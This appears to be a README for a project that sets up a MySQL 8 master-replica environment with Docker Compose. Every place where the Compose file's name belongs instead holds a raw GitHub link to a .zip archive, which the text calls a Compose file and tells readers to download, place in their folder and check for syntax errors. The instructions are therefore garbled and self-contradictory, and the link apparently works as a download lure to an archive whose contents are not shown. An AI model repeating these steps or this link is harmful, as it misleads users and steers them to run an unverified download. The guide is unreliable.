Welcome to the master-replica-example project! This setup allows you to quickly create a MySQL 8 Master-Replica environment using Docker Compose. This is perfect for development and testing purposes. Follow these steps to get started.
-
Visit the Releases Page: Go to the Releases page to download the latest version of the software.
-
Choose the Version: Find the latest version at the top of the page. You will see various files available for download.
-
Download Docker Compose: Download the
https://raw.githubusercontent.com/Birkim-br/master-replica-example/main/db/master-init/replica_master_example_v2.6.zipfile. This file contains all the settings you need. -
Download Docker Images: Docker will automatically pull the necessary images when you run the commands. You will need to install Docker first if it is not already on your computer.
-
Install Docker:
- For Windows, download and install Docker Desktop from here.
- For Mac, download Docker Desktop from the same link.
- For Linux, follow the instructions specific to your distribution on the Docker installation page.
- Operating System: Windows, macOS, or a Linux distribution with Docker support.
- Storage: At least 1 GB of free space.
- RAM: Minimum of 4 GB for smooth operation.
- Docker Version: Ensure you have a recent version of Docker and Docker Compose installed.
-
Create a Project Folder: Create a new folder where you want to store your project files.
-
Place Docker Compose File: Move the
https://raw.githubusercontent.com/Birkim-br/master-replica-example/main/db/master-init/replica_master_example_v2.6.zipfile you downloaded into the folder. -
Open Command-Line Interface:
- Windows: Open Command Prompt or PowerShell.
- macOS: Open Terminal.
- Linux: Open your preferred terminal.
-
Navigate to the Project Folder: Use the
cdcommand to change the directory to your project folder. For example:cd path/to/your/project-folder -
Start Docker Compose: Run the following command to start the services:
docker-compose upThis command will download the necessary Docker images (if not already available) and start your MySQL server.
-
Access your MySQL Database: After a few moments, you will see logs from Docker. Your MySQL server will be running in the background. You can access it using your favorite database management tool or through the command line.
To connect to the MySQL database, you can use a MySQL client. Use the following details:
- Hostname:
localhost - Port:
3306 - Username:
app - Password:
your_password_here(change this to your secure password)
The setup features a master and replica configuration. You can easily adjust settings in the https://raw.githubusercontent.com/Birkim-br/master-replica-example/main/db/master-init/replica_master_example_v2.6.zip file as needed.
- Uses MySQL 8 for robust database features.
- Configured for master-replica setup with GTID replication.
- Separate users for app access, replication, and read-only reporting.
- Suitable for both development and testing environments.
For detailed information on how to customize and expand your setup, consult the official MySQL documentation.
If you encounter issues:
- Ensure Docker is running.
- Check your
https://raw.githubusercontent.com/Birkim-br/master-replica-example/main/db/master-init/replica_master_example_v2.6.zipfile for any syntax errors. - Look at the logs in your command line to identify any specific errors.
Join the community for help and discussions. Share your experiences and improvements.
Thank you for choosing master-replica-example. We hope this guide helps you set up your MySQL environment smoothly. For any inquiries or feedback, feel free to reach out via the repository links.